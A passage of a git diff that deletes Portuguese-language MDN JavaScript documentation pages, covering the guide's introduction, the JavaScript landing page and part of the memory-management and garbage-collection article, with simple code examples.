- <li><span><a href="/en-US/docs/Web/JavaScript/Guide/Working_with_Objects">Trabalhar com  objetos</a></span>
- <p><a href="/en-US/docs/Web/JavaScript/Guide/Working_with_Objects#Objects_and_properties">Objets e propriedades</a><br>
- <a href="/en-US/docs/Web/JavaScript/Guide/Working_with_Objects#Creating_new_objects">Criação de objetos</a><br>
- <a href="/en-US/docs/Web/JavaScript/Guide/Working_with_Objects#Defining_methods">Definição de métodos</a><br>
- <a href="/en-US/docs/Web/JavaScript/Guide/Working_with_Objects#Defining_getters_and_setters">Getter and setter</a></p>
- </li>
- <li><span><a href="/en-US/docs/Web/JavaScript/Guide/Details_of_the_Object_Model">Detalhes do modelo de objeto</a></span>
- <p><a href="/en-US/docs/Web/JavaScript/Guide/Details_of_the_Object_Model#Class-based_vs._prototype-based_languages">Prototype-based OOP</a><br>
- <a href="/en-US/docs/Web/JavaScript/Guide/Details_of_the_Object_Model#Creating_the_hierarchy">Creating object hierarchies</a><br>
- <a href="/en-US/docs/Web/JavaScript/Guide/Details_of_the_Object_Model#Property_inheritance_revisited">Inheritance</a></p>
- </li>
-</ul>
-
-<ul class="card-grid">
- <li><span><a href="/en-US/docs/Web/JavaScript/Guide/Iterators_and_Generators">Iterators e geradores</a></span>
-
- <p><a href="/en-US/docs/Web/JavaScript/Guide/Iterators_and_Generators#Iterators">Iterators</a><br>
- <a href="/en-US/docs/Web/JavaScript/Guide/Iterators_and_Generators#Iterables">Iterables</a><br>
- <a href="/en-US/docs/Web/JavaScript/Guide/Iterators_and_Generators#Generators">Generators</a></p>
- </li>
- <li><span><a href="/en-US/docs/Web/JavaScript/Guide/Meta_programming">Metadados de programação</a></span>
- <p><code><a href="/en-US/docs/Web/JavaScript/Guide/Meta_programming#Proxies">Proxy</a></code><br>
- <a href="/en-US/docs/Web/JavaScript/Guide/Meta_programming#Handlers_and_traps">Handlers and traps</a><br>
- <a href="/en-US/docs/Web/JavaScript/Guide/Meta_programming#Revocable_Proxy">Revocable Proxy</a><br>
- <code><a href="/en-US/docs/Web/JavaScript/Guide/Meta_programming#Reflection">Reflect</a></code></p>
- </li>
-</ul>
-
-<p>{{Next("Web/JavaScript/Guide/Introduction")}}</p>
diff --git a/files/pt-pt/web/javascript/guide/introduction/index.html b/files/pt-pt/web/javascript/guide/introduction/index.html
deleted file mode 100644
index eddebd2e98..0000000000
--- a/files/pt-pt/web/javascript/guide/introduction/index.html
+++ /dev/null
@@ -1,138 +0,0 @@
----
-title: Introdução
-slug: Web/JavaScript/Guide/Introduction
-tags:
- - Guía
- - JavaScript
-translation_of: Web/JavaScript/Guide/Introduction
-original_slug: Web/JavaScript/Guia/Introdução
----
-<div>{{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide", "Web/JavaScript/Guide/Grammar_and_types")}}</div>
-
-<p class="summary">Este capítulo apresenta a linguagem JavaScript e discuste alguns dos seus conceitos fundamentais.</p>
-
-<h2 id="O_que_você_já_deveria_saber">O que você já deveria saber</h2>
-
-<p>Este guia assume que você possuí os seguintes conhecimentos:</p>
-
-<ul>
- <li>Um conhecimento geral sobre Internet e o World Wide Web ({{Glossary("WWW")}}).</li>
- <li>Bom conhecimento sobre como desenvolver em HyperText Markup Language ({{Glossary("HTML")}}).</li>
- <li>Alguma experiência com programação. Caso seja iniciante nesse mundo, experimente seguir algum dos links com tutoriais que  estão presentes na página principal sobre <a href="/pt-PT/docs/Web/JavaScript/Guia">JavaScript</a>.</li>
-</ul>
-
-<h2 id="Onde_encontrar_informação_sobre_JavaScript">Onde encontrar informação sobre JavaScript?</h2>
-
-<p>A documentação de JavaScript no MDN incluí o seguinte:</p>
-
-<ul>
- <li><a href="/pt-PT/docs/Learn">Aprender a Web</a> fornece informação para iniciantes e introduz os conceitos básicos sobre programação e Internet.</li>
- <li><a href="/pt-PT/docs/Web/JavaScript/Guia">Guia de JavaScript</a> (este guia) fornece uma visão geral sobre a linguagem JavaScript e os seus objetos.</li>
- <li><a href="/pt-PT/docs/Web/JavaScript/Reference">Referência de JavaScript</a> fornece conteúdos de referência detalhada para JavaScript.</li>
-</ul>
-
-<p>Se for iniciante em JavaScript, comece lendo alguns dos artigos na <a href="/pt-PT/docs/Learn">área de aprendizagem</a> e o  <a href="/pt-PT/docs/Web/JavaScript/Guia">Guia de JavaScript</a>. Assim que compreender os fundamentos da linguagem, pode consultar a <a href="/pt-PT/docs/Web/JavaScript/Reference">Referência de JavaScript</a> para obter mais detalhes sobre objetos individuais e declarações.</p>
-
-<h2 id="O_que_é_JavaScript">O que é JavaScript?</h2>
-
-<p>JavaScript é uma linguagem de script orientada a objetos e que funciona entre plataformas. É uma linguagem pequena e simples. Ela pode ser rodada num ambiente anfitrião (por exemplo, o browser),  o código JavaScript pode estar ligado a objetos do ambiente e  fornece controle programático sobre os mesmos.</p>
-
-<p>O JavaScript contém uma biblioteca padrão de objetos, tais como <code>Array</code>, <code>Date</code>, <code>Math</code>, e um conjunto fundamental de elementos da linguagem tais como operadores, estruturas de controle, e statements. Os elementos básicos do JavaScript podem ser extendidos com objetos adicionais para uma variedade de propósitos, por exemplo:</p>
-
-<ul>
- <li>JavaScript a correr no cliente extende a linguagem básica pois fornece objetos para controlar o browser e o seu Document Object Model (DOM). Por exemplo, extenções de cliente permitem a uma aplicação adicionar elementos num formulário HTML e responder a eventos do utilizador tais como cliques, input adicionado, e navegação na página.</li>
- <li>JavaScript a correr no <span style="background-color: #f3a8a3;">servidor </span>extende a linguagem básica ao fornecer objetos relevantes para que isso aconteça. Por exemplo, extenções do lado do servidor permitem que uma aplicação comunique com uma base de dados, garante continuidade de informação entre invocações da aplicação, ou executa manipulações de ficheiros no servidor.</li>
-</ul>
-
-<h2 id="JavaScript_and_Java" name="JavaScript_and_Java">JavaScript e Java</h2>
-
-<p>JavaScript e Java são linguagens similares em alguns aspetos mas fundamentalmente diferentes noutros. A linguagem JavaScript assemelha-se ao Java mas não tem o static typing nem a validação strong type. O JavaScsript segue a sintaxe de expressões do Java, convenções de nomenclatura e os construtores básicos de controlo de fluxo. Esta última foi a razão pelo qual a linguagem foi renomeada de LiveScript para JavaScript.</p>
-
-<p>In contrast to Java's compile-time system of classes built by declarations, JavaScript supports a runtime system based on a small number of data types representing numeric, Boolean, and string values. JavaScript has a prototype-based object model instead of the more common class-based object model. The prototype-based model provides dynamic inheritance; that is, what is inherited can vary for individual objects. JavaScript also supports functions without any special declarative requirements. Functions can be properties of objects, executing as loosely typed methods.</p>
-
-<p>JavaScript is a very free-form language compared to Java. You do not have to declare all variables, classes, and methods. You do not have to be concerned with whether methods are public, private, or protected, and you do not have to implement interfaces. Variables, parameters, and function return types are not explicitly typed.</p>
-
-<p>Java is a class-based programming language designed for fast execution and type safety. Type safety means, for instance, that you can't cast a Java integer into an object reference or access private memory by corrupting Java bytecodes. Java's class-based model means that programs consist exclusively of classes and their methods. Java's class inheritance and strong typing generally require tightly coupled object hierarchies. These requirements make Java programming more complex than JavaScript programming.</p>
-
-<p>In contrast, JavaScript descends in spirit from a line of smaller, dynamically typed languages such as HyperTalk and dBASE. These scripting languages offer programming tools to a much wider audience because of their easier syntax, specialized built-in functionality, and minimal requirements for object creation.</p>
-
-<table class="standard-table">
- <caption>JavaScript comparado com Java</caption>
- <thead>
- <tr>
- <th scope="col">JavaScript</th>
- <th scope="col">Java</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>Object-oriented. No distinction between types of objects. Inheritance is through the prototype mechanism, and properties and methods can be added to any object dynamically.</td>
- <td>Class-based. Objects are divided into classes and instances with all inheritance through the class hierarchy. Classes and instances cannot have properties or methods added dynamically.</td>
- </tr>
- <tr>
- <td>Variable data types are not declared (dynamic typing).</td>
- <td>Variable data types must be declared (static typing).</td>
- </tr>
- <tr>
- <td>Cannot automatically write to hard disk.</td>
- <td>Can automatically write to hard disk.</td>
- </tr>
- </tbody>
-</table>
-
-<p>For more information on the differences between JavaScript and Java, see the chapter <a href="/pt-PT/docs/Web/JavaScript/Guia/Detalhes_do_modelo_de_objeto">Details of the object model</a>.</p>
-
-<h2 id="JavaScript_and_the_ECMAScript_Specification" name="JavaScript_and_the_ECMAScript_Specification">JavaScript e a especificação ECMAScript</h2>
-
-<p>JavaScript is standardized at <a class="external" href="http://www.ecma-international.org/">Ecma International</a> — the European association for standardizing information and communication systems (ECMA was formerly an acronym for the European Computer Manufacturers Association) to deliver a standardized, international programming language based on JavaScript. This standardized version of JavaScript, called ECMAScript, behaves the same way in all applications that support the standard. Companies can use the open standard language to develop their implementation of JavaScript. The ECMAScript standard is documented in the ECMA-262 specification. See <a href="/en-US/docs/Web/JavaScript/New_in_JavaScript">New in JavaScript</a> to learn more about different versions of JavaScript and ECMAScript specification editions.</p>
-
-<p>The ECMA-262 standard is also approved by the <a class="external" href="http://www.iso.ch/">ISO</a> (International Organization for Standardization) as ISO-16262. You can also find the specification on <a class="external" href="http://www.ecma-international.org/publications/standards/Ecma-262.htm">the Ecma International website</a>. The ECMAScript specification does not describe the Document Object Model (DOM), which is standardized by the <a class="external" href="http://www.w3.org/">World Wide Web Consortium (W3C)</a> and/or <a href="https://whatwg.org">WHATWG (Web Hypertext Application Technology Working Group)</a>. The DOM defines the way in which HTML document objects are exposed to your script. To get a better idea about the different technologies that are used when programming with JavaScript, consult the article <a href="/en-US/docs/Web/JavaScript/JavaScript_technologies_overview">JavaScript technologies overview</a>.</p>
-
-<h3 id="JavaScript_Documentation_versus_the_ECMAScript_Specification" name="JavaScript_Documentation_versus_the_ECMAScript_Specification">Documentação JavaScript versus especificação  ECMAScript</h3>
-
-<p>The ECMAScript specification is a set of requirements for implementing ECMAScript; it is useful if you want to implement standards-compliant language features in your ECMAScript implementation or engine (such as SpiderMonkey in Firefox, or v8 in Chrome).</p>
-
-<p>The ECMAScript document is not intended to help script programmers; use the JavaScript documentation for information on writing scripts.</p>
-
-<p>The ECMAScript specification uses terminology and syntax that may be unfamiliar to a JavaScript programmer. Although the description of the language may differ in ECMAScript, the language itself remains the same. JavaScript supports all functionality outlined in the ECMAScript specification.</p>
-
-<p>The JavaScript documentation describes aspects of the language that are appropriate for a JavaScript programmer.</p>
-
-<h2 id="Começar_com_JavaScript">Começar com JavaScript</h2>
-
-<p>Getting started with JavaScript is easy: all you need is a modern Web browser. This guide includes some JavaScript features which are only currently available in the latest versions of Firefox, so using the most recent version of Firefox is recommended.</p>
-
-<p>There are two tools built into Firefox that are useful for experimenting with JavaScript: the Web Console and Scratchpad.</p>
-
-<h3 id="A_Consola_da_Web">A Consola da Web</h3>
-
-<p>A <a href="/pt-PT/docs/Tools/Consola_da_Web">Consola da Web</a> shows you information about the currently loaded Web page, and also includes a <a href="/en-US/docs/Tools/Web_Console#The_command_line_interpreter">command line</a> that you can use to execute JavaScript expressions in the current page.</p>
-
-<p>To open the Web Console (Ctrl+Shift+K), select "Web Console" from the "Developer" menu, which is under the "Tools" menu in Firefox. It appears at the bottom of the browser window. Along the bottom of the console is a command line that you can use to enter JavaScript, and the output appears in the pane above:</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/7363/web-console-commandline.png" style="display: block; margin-left: auto; margin-right: auto;"></p>
-
-<h3 id="Scratchpad">Scratchpad</h3>
-
-<p>The Web Console is great for executing single lines of JavaScript, but although you can execute multiple lines, it's not very convenient for that, and you can't save your code samples using the Web Console. So for more complex examples <a href="/en-US/docs/Tools/Scratchpad">Scratchpad</a> is a better tool.</p>
-
-<p>To open Scratchpad (Shift+F4), select "Scratchpad" from the "Developer" menu, which is under the menu in Firefox. It opens in a separate window and is an editor that you can use to write and execute JavaScript in the browser. You can also save scripts to disk and load them from disk.</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/7365/scratchpad.png" style="display: block; margin-left: auto; margin-right: auto;"></p>
-
-<h3 id="Olá_mundo">Olá mundo</h3>
-
-<p>To get started with writing JavaScript, open the Scratchpad and write your first "Hello world" JavaScript code:</p>
-
-<pre class="brush: js">function greetMe(yourName) {
- alert("Hello " + yourName);
-}
-
-greetMe("World");
-</pre>
-
-<p>Select the code in the pad and hit Ctrl+R to watch it unfold in your browser!</p>
-
-<p>In the following pages, this guide will introduce you to the JavaScript syntax and language features, so that you will be able to write more complex applications.</p>
-
-<p>{{PreviousNext("Web/JavaScript/Guide", "Web/JavaScript/Guide/Grammar_and_types")}}</p>
diff --git a/files/pt-pt/web/javascript/index.html b/files/pt-pt/web/javascript/index.html
deleted file mode 100644
index 96b6b4b28b..0000000000
--- a/files/pt-pt/web/javascript/index.html
+++ /dev/null
@@ -1,140 +0,0 @@
----
-title: JavaScript
-slug: Web/JavaScript
-tags:
- - Aprender
- - JavaScript
- - Landing
- - Página Landing
- - 'l10n:priority'
-translation_of: Web/JavaScript
----
-<div>{{JsSidebar}}</div>
-
-<div>
-<p class="summary"><strong>JavaScript</strong> (<strong>JS</strong>) é uma linguagem de programação compilada simples, interpretada ou "<em>just-in-time"</em> com {{Glossary("First-class Function", "funções de primeira classe")}}. Embora seja mais conhecida coma a linguagem de <em>scripting</em> para as páginas da Web, também é utilizada em <a class="external" href="https://en.wikipedia.org/wiki/JavaScript#Uses_outside_Web_pages">muitos ambientes além de navegadores</a> (inglês), tais como <a class="external" href="/en-US/docs/Glossary/Node.js">Node.js</a>, <a href="https://couchdb.apache.org/">Apache CouchDB</a> e <a href="http://www.adobe.com/devnet/acrobat/javascript.html">Adobe Acrobat</a>. JavaScript é uma linguagem dinâmica, {{Glossary("Prototype-based programming", "baseada em protótipos")}} e que suporta os paradigmas de programação orientada a objetos, imperativa e declarativa (incluindo programação funcional). Leia mais <a href="/pt-PT/docs/Web/JavaScript/Sobre_JavaScript">sobre o JavaScript</a>.</p>
-
-<p>Esta secção do <em>site </em>é dedicada à própria linguagem JavaScript, e não a partes específicas das páginas da Internet ou outros ambientes. Para informação sobre {{Glossary("API","APIs")}} específicas para as páginas da Web, por favor, consulte <a href="/pt-PT/docs/Web/API">APIs da Web </a>e <a href="/pt-PT/docs/DOM/DOM_Reference" title="https://developer.mozilla.org/en/DOM">DOM</a>.</p>
-
-<p>O padrão para JavaScript é <a href="/en-US/docs/Web/JavaScript/Language_Resources">ECMAScript</a>. Em 2012, todos os <a href="https://kangax.github.io/compat-table/es5/">navegadores modernos</a> são totalmente compatíveis com a versão ECMAScript 5.1. Navegadores mais antigos suportam pelo menos ECMAScript 3. No dia 17 de junho de 2015, <a href="https://www.ecma-international.org">ECMA International</a> publicou a sexta versão principal de ECMAScript, cujo nome oficial é ECMAScript 2015, e inicialmente era chamada ECMAScript 6 ou ES6. Desde então, as normas de ECMAScript são lançadas anualmente. Esta documentação refere-se à última proposta, que atualmente é <a href="https://tc39.github.io/ecma262/">ECMAScript 2018</a>.</p>
-
-<p>Não faça confusão entre JavaScript e <a href="https://pt.wikipedia.org/wiki/Java_(linguagem_de_programa%C3%A7%C3%A3o)">a linguagem de programação Java</a>. Tanto "Java" como "JavaScript" são marcas ou marcas registadas da Oracle nos E.U.A. e outros países. Contudo, estas linguagens de programação têm muitas diferenças na sua sintaxe, semânticas e utilização.</p>
-
-<div class="column-container">
-<div class="column-half">
-<h2 id="Tutoriais">Tutoriais</h2>
-
-<p>Aprender a programar em JavaScript com guias e tutorials.</p>
-
-<h3 id="Para_principiantes_absolutos">Para principiantes absolutos</h3>
-
-<p>Dirija-se ao nosso <a href="/en-US/docs/Learn/JavaScript">tópico sobre JavaScript</a> se quer aprender esta linguagem mas não tem experiência alguma em programação. Seguem-se os módulos disponíveis:</p>
-
-<dl>
- <dt><a href="/pt-PT/docs/Learn/JavaScript/Primeiros_passos">JavaScript - primeiros passos</a></dt>
- <dd>Responde a questões fundamentais como "o que é JavaScript?", "que aspeto tem a linguagem?", e "o que pode fazer?", além de discutir funcionalidades chave JavaScript como variáveis, strings, números e arrays.</dd>
- <dt><a href="/pt-PT/docs/Learn/JavaScript/Elementos_constituintes">JavaScript - elementos constituintes</a></dt>
- <dd>Continua a abordagem às principais funcionalidades de JavaScript, tendo como foco os blocos de código utilizados mais habitualmente, tais como instruções condicionais, ciclos, funções e eventos.</dd>
- <dt><a href="https://wiki.developer.mozilla.org/en-US/docs/Learn/JavaScript/Objects">Introducing JavaScript objects</a></dt>
- <dd>The object-oriented nature of JavaScript is important to understand if you want to go further with your knowledge of the language and write more efficient code, therefore we've provided this module to help you.</dd>
- <dt><a href="https://wiki.developer.mozilla.org/en-US/docs/Learn/JavaScript/Asynchronous">Asynchronous JavaScript</a></dt>
- <dd>Discusses asynchronous JavaScript, why it is important, and how it can be used to effectively handle potential blocking operations such as fetching resources from a server.</dd>
- <dt><a href="https://wiki.developer.mozilla.org/en-US/docs/Learn/JavaScript/Client-side_web_APIs">Client-side web APIs</a></dt>
- <dd>Explores what APIs are, and how to use some of the most common APIs you'll come across often in your development work.</dd>
-</dl>
-
-<h3 id="Guia_de_JavaScript">Guia de JavaScript</h3>
-
-<dl>
- <dt><a href="/pt-PT/docs/Web/JavaScript/Guia">Guia de JavaScript</a></dt>
- <dd>Um guia muito detalhado de JavaScript, apropriado para pessoas com experiência em JavaScript ou noutra linguagem.</dd>
-</dl>
-
-<h3 id="Intermediário">Intermediário</h3>
-
-<dl>
- <dt><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/A_re-introduction_to_JavaScript">Reintrodução ao JavaScript</a></dt>
- <dd>Uma visão geral para quem acha que conhece o JavaScript.</dd>
-</dl>
-
-<dl>
- <dt><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures">Estrutura de Dados no JavaScript</a></dt>
- <dd>Uma visão geral das estruturas de dados disponíveis no JavaScript.</dd>
- <dt><a href="/en-US/docs/Web/JavaScript/Equality_comparisons_and_sameness">Equality comparisons and sameness</a></dt>
- <dd>JavaScript provides three different value-comparison operations: strict equality using <code>===</code>, loose equality using <code>==</code>, and the {{jsxref("Global_Objects/Object/is", "Object.is()")}} method.</dd>
- <dt><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/JavaScript/Closures">Closures</a></dt>
- <dd>
- <p>A closure is the combination of a function and the lexical environment within which that function was declared.</p>
- </dd>
-</dl>
-
-<h3 id="Avançado">Avançado</h3>
-
-<dl>
- <dt><a href="/en-US/docs/Web/JavaScript/Inheritance_and_the_prototype_chain">Inheritance and the prototype chain</a></dt>
- <dd>Explanation of the widely misunderstood and under-estimated prototype-based inheritance.</dd>
- <dt><a href="/en-US/docs/Web/JavaScript/Reference/Strict_mode">Strict mode</a></dt>
- <dd>Strict mode defines that you can not use any variable before initializing it. It is a restricted variant of ECMAScript 5, for faster performance and easier debugging.</dd>
- <dt><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Typed_arrays">JavaScript typed arrays</a></dt>
- <dd>JavaScript typed arrays provide a mechanism for accessing raw binary data.</dd>
- <dt><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Memory_Management">Memory Management</a></dt>
- <dd>Memory life cycle and garbage collection in JavaScript.</dd>
- <dt><a href="/en-US/docs/Web/JavaScript/EventLoop">Concurrency model and Event Loop</a></dt>
- <dd>JavaScript has a concurrency model based on an "event loop".</dd>
-</dl>
-</div>
-
-<div class="column-half">
-<h2 id="Referência">Referência</h2>
-
-<p>Explore a documentação completa de <a href="/pt-PT/docs/Web/JavaScript/Reference">refrência de JavaScript</a>.</p>
-
-<dl>
- <dt><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects">Standard objects</a></dt>
- <dd>Get to know standard built-in objects {{jsxref("Array")}}, {{jsxref("Boolean")}}, {{jsxref("Date")}}, {{jsxref("Error")}}, {{jsxref("Function")}}, {{jsxref("JSON")}}, {{jsxref("Math")}}, {{jsxref("Number")}}, {{jsxref("Object")}}, {{jsxref("RegExp")}}, {{jsxref("String")}}, {{jsxref("Map")}}, {{jsxref("Set")}}, {{jsxref("WeakMap")}}, {{jsxref("WeakSet")}}, and others.</dd>
- <dt><a href="/en-US/docs/Web/JavaScript/Reference/Operators">Expressions and operators</a></dt>
- <dd>Learn more about the behavior of JavaScript's operators {{jsxref("Operators/instanceof", "instanceof")}}, {{jsxref("Operators/typeof", "typeof")}}, {{jsxref("Operators/new", "new")}}, {{jsxref("Operators/this", "this")}}, the <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Operator_Precedence">operator precedence</a>, and more.</dd>
- <dt><a href="/en-US/docs/Web/JavaScript/Reference/Statements">Statements and declarations</a></dt>
- <dd>Learn how {{jsxref("Statements/do...while", "do-while")}}, {{jsxref("Statements/for...in", "for-in")}}, {{jsxref("Statements/for...of", "for-of")}}, {{jsxref("Statements/try...catch", "try-catch")}}, {{jsxref("Statements/let", "let")}}, {{jsxref("Statements/var", "var")}}, {{jsxref("Statements/const", "const")}}, {{jsxref("Statements/if...else", "if-else")}}, {{jsxref("Statements/switch", "switch")}}, and more JavaScript statements and keywords work.</dd>
- <dt><a href="/en-US/docs/Web/JavaScript/Reference/Functions">Funções</a></dt>
- <dd>Aprenda como trabalhar com funções do JavaScript para desenvolver suas aplicações.</dd>
-</dl>
-
-<h2 id="Ferramentas_e_recursos">Ferramentas e recursos</h2>
-
-<p>Ferramentas úteis para escrever e depurar o seu código <strong>JavaScript</strong>.</p>
-
-<dl>
- <dt><a href="/pt-PT/docs/Tools">Ferramentas de Desenvolvimento do Firefox</a></dt>
- <dd><a href="/pt-PT/docs/Tools/Scratchpad">Scratchpad</a>, <a href="/pt-PT/docs/Tools/Consola_da_Web">Consola da Web</a>, <a href="/pt-PT/docs/Tools/Desempenho">JavaScript Profiler</a>, <a href="/en-US/docs/Tools/Debugger">Debugger</a>, e muito mais.</dd>
- <dt><a href="/en-US/docs/Web/JavaScript/Shells">JavaScript Shells</a></dt>
- <dd>A JavaScript shell allows you to quickly test snippets of JavaScript code.</dd>
- <dt><a href="https://learnjavascript.online/">Learn JavaScript</a></dt>
- <dd>An excellent resource for aspiring web developers — Learn JavaScript in an interactive environment, with short lessons and interactive tests, guided by automated assessment. The first 40 lessons are free, and the complete course is available for a small one-time payment.</dd>
- <dt><a href="https://togetherjs.com/">TogetherJS</a></dt>
- <dd>Collaboration made easy. By adding TogetherJS to your site, your users can help each other out on a website in real time!</dd>
- <dt><a href="https://stackoverflow.com/questions/tagged/javascript">Stack Overflow</a></dt>
- <dd>Dúvidas no Stack Overflow marcadas com "JavaScript".</dd>
- <dt><a href="/en-US/docs/Web/JavaScript/New_in_JavaScript">JavaScript versions and release notes</a></dt>
- <dd>Browse JavaScript's feature history and implementation status.</dd>
- <dt><a href="https://jsfiddle.net/">JSFiddle</a></dt>
- <dd>Edit JavaScript, CSS, HTML and get live results. Use external resources and collaborate with your team online.</dd>
- <dt></dt>
- <dt><a href="https://plnkr.co/">Plunker</a></dt>
- <dd>Plunker is an online community for creating, collaborating on and sharing your web development ideas. Edit your JavaScript, CSS, HTML files and get live results and file structure.</dd>
- <dt><a href="https://jsbin.com/">JSBin</a></dt>
- <dd>
- <p>JS Bin is an open source collaborative web development debugging tool.</p>
- </dd>
- <dt><a href="https://codepen.io/">Codepen</a></dt>
- <dd>
- <p>Codepen is another collaborative web development tool used as a live result playground.</p>
- </dd>
- <dt><a href="https://stackblitz.com/">StackBlitz</a></dt>
- <dd>
- <p>StackBlitz is another online playground/debugging tool, which can host and deploy full stack applications using React, Angular, etc.</p>
- </dd>
-</dl>
-</div>
-</div>
-</div>
diff --git a/files/pt-pt/web/javascript/memory_management/index.html b/files/pt-pt/web/javascript/memory_management/index.html
deleted file mode 100644
index 3a9d60c6b9..0000000000
--- a/files/pt-pt/web/javascript/memory_management/index.html
+++ /dev/null
@@ -1,188 +0,0 @@
----
-title: Gestão de memória
-slug: Web/JavaScript/Memory_Management
-tags:
- - Desempenho
- - JavaScript
- - memoria
-translation_of: Web/JavaScript/Memory_Management
-original_slug: Web/JavaScript/Gestao_Memoria
----
-<div>{{JsSidebar("Advanced")}}</div>
-
-<h2 id="Introdução">Introdução</h2>
-
-<p>Linguagens de baixo nível, como o C, têm funções pimitivas de gestão de memória, como por exemplo, <code>malloc()</code> e <code>free()</code>. Por outro lado, os valores em JavaScript são alocados quando coisas (objetos, variáveis de texto, etc.) são criadas e "automaticamente" libertadas da memória quando deixam de ser utilizadas. O último processo é chamado de <em>coleção do lixo</em>. Este "automatismo" é uma fonte de mal entendidos e transmite aos programadores de JavaScript ( e aos de outras linguagens de alto nível ) a impressão de que podem decidir não se preocupar com a gestão da memória. Isto é uma erro.</p>
-
-<h2 id="Ciclo_da_duração_da_memória">Ciclo da duração da memória</h2>
-
-<p>Independentemente da linguagem de programação, o ciclo da duração da memória é praticamente sempre o mesmo:</p>
-
-<ol>
- <li>Alocação da memória necessária</li>
- <li>Utilização da memória alocada ( leitura, escrita )</li>
- <li>Libertar a memória alocada quando já não é necessária</li>
-</ol>
-
-<p>A segunda etapa é explícita em todas as linguagens. A primeira e a última etapa são explícitas em linguagens de baixo nível mas são, na sua maioria, implícitas em linguagens de alto nível como o JavaScript.</p>
-
-<h3 id="Alocação_no_JavaScript">Alocação no JavaScript</h3>
-
-<h4 id="Inicialização_do_valor">Inicialização do valor</h4>
-
-<p>Com o intuito de não incomodar o programador com alocações, o JavaScript fá-lo juntamente com a declaração de valores.</p>
-
-<pre class="brush: js">var n = 123; // alocação da memória para um número
-var s = 'azerty'; // alocação de memória para um texto
-
-var o = {
- a: 1,
- b: null
-}; // alocação de memória para um objeto e o seu conteúdo
-
-// (similar ao objeto) alocação de memória para a matriz e
-// os seus valores
-var a = [1, null, 'abra'];
-
-function f(a) {
- return a + 2;
-} // alocação de uma função (que é um objeto que pode ser chamado)
-
-// Expressões de funções também alocam um objeto
-someElement.addEventListener('click', function() {
- someElement.style.backgroundColor = 'blue';
-}, false);
-</pre>
-
-<h4 id="Alocação_através_de_chamadas_de_funções">Alocação através de chamadas de funções</h4>
-
-<p>Algumas chamadas de funções resultam na alocação de um objeto.</p>
-
-<pre class="brush: js">var d = new Date(); // alocação de um objeto <em>Date</em>
-
-var e = document.createElement('div'); // alocação de um elemento DOM</pre>
-
-<p>Alguns métodos alocam novos valores ou objetos:</p>
-
-<pre class="brush: js">var s = 'azerty';
-var s2 = s.substr(0, 3); // s2 é uma nova variável de texto
-// Dado que as variáveis de texto são de valor imutável,
-// o JavaScript pode decidir não alocar memória,
-// mas apenas armazenar o intervalo [0, 3].
-
-var a = ['ouais ouais', 'nan nan'];
-var a2 = ['generation', 'nan nan'];
-var a3 = a.concat(a2);
-// nova matriz de 4 elementos resultando
-// da concatenação dos elementos de <em>a</em> e <em>a2</em>
-</pre>
-
-<h3 id="Utilização_de_valores">Utilização de valores</h3>
-
-<p>Basicamente, a utilização de valores significa a leitura e a escrita na memória alocada. Isto pode ser feito através da leitura ou escrita do valor de uma variável ou uma propriedade de um objeto ou até a passagem de um argumento para uma função.</p>
-
-<h3 id="Remoção_quando_a_memória_já_não_é_necessária">Remoção quando a memória já não é necessária</h3>
-
-<p>A maioria dos problemas de gestão de memória aparecem nesta fase. A tarefa mais difícil é descobrir quando "a memória alocada já não é necessária". Em geral, requer que o programador determine quando, no seu código, este pedaço de memória já não é necessário e a liberte.</p>
-
-<p>Linguagens de alto nível têm embutidas um pedaço de código chamado "coleção de lixo", cuja tarefa é rastrear a alocação e uso da memória, para detetar quando um pedaço de memória já não é necessário e neste caso, automaticamente libertá-la. Este processo é uma aproximação dado que o problema geral de se saber quando um pedaço da memória é necessário, é <a class="external" href="https://pt.wikipedia.org/wiki/Decidibilidade">indecisível</a> ( não pode ser solucionado por um algoritmo ).</p>
-
-<h2 id="Coleção_de_lixo">Coleção de lixo</h2>
-
-<p>Como mencionado anteriormente, o problema geral de automaticamente descobrir quando alguma ocupação de memória "já não é necessária", é indecisível. Como consequência, as coleções de lixo implementam uma restrição à solução para o problema em geral. Esta seção explicará as noções necessárias para se compreender os principais algoritmos da coleção de lixo e as suas limitações.</p>
-
-<h3 id="Referências">Referências</h3>
-
-<p>A noção principal dos algoritmos de coleção de lixo baseiam-se na noção de <em>referência</em>. Dentro do contexto da gestão de memória, um objeto é dito referenciar outro objeto, se o primeiro tiver acesso ao segundo ( quer implicitamente quer explicitamente ). Por exemplo, um objeto JavaScript tem uma referência ao seu <a href="https://developer.mozilla.org/pt-BR/docs/Web/JavaScript/Guide/Inheritance_and_the_prototype_chain">protótipo</a> ( referência implícita )  e aos valores das suas propriedades ( referência explícita ).</p>
-
-<p>Neste contexto, a noção de "objeto" é expandida a algo mais abrangente que um objeto JavaScript e também contém âmbitos de funções ( ou âmbito léxico global ).</p>
-
-<h3 id="Contagem_de_referências_na_coleção_de_lixo">Contagem de referências na coleção de lixo</h3>
-
-<p>Este é o algoritmo mais simples da coleção de lixo. Este algoritmo reduz a definição de "um objeto já não é necessário" para "um objeto já não é referenciado por nenhum outro objeto". Um objeto é considerado coletável para a coleção de lixo se tiver nenhuma referenciação por parte de outro objeto.</p>
-
-<h4 id="Exemplo">Exemplo</h4>
-
-<pre class="brush: js">var o = {
- a: {
- b: 2
- }
-};
-// 2 objetos criados. Um é referenciado por outro como sendo suas propriedades
-// O outro é referenciado por virtude ao ser assignado para a variável 'o'
-// Obviamente, nenhum podem ser coletado pela coleção de lixo
-
-
-var o2 = o; // A variável 'o2' é a segunda coisa que
- // tem uma referência ao objeto
-o = 1; // agora, o objeto que era originalmente o 'o' tem uma referência única
- // corporificada pela variável 'o2'
-
-var oa = o2.a; // referência à propriedade 'a' do objeto.
- // Este objeto tem agora 2 referências: uma como propriedade,
- // a outra como variável 'oa'
-
-o2 = 'yo'; // O objeto que era o original 'o' tem agora zero
- // referências a si próprio. Pode ser coletado para a coleção de lixo
- // No entanto, a propriedade 'a' ainda é referenciada pela
- // variável 'oa', logo não pode ser libertado
-
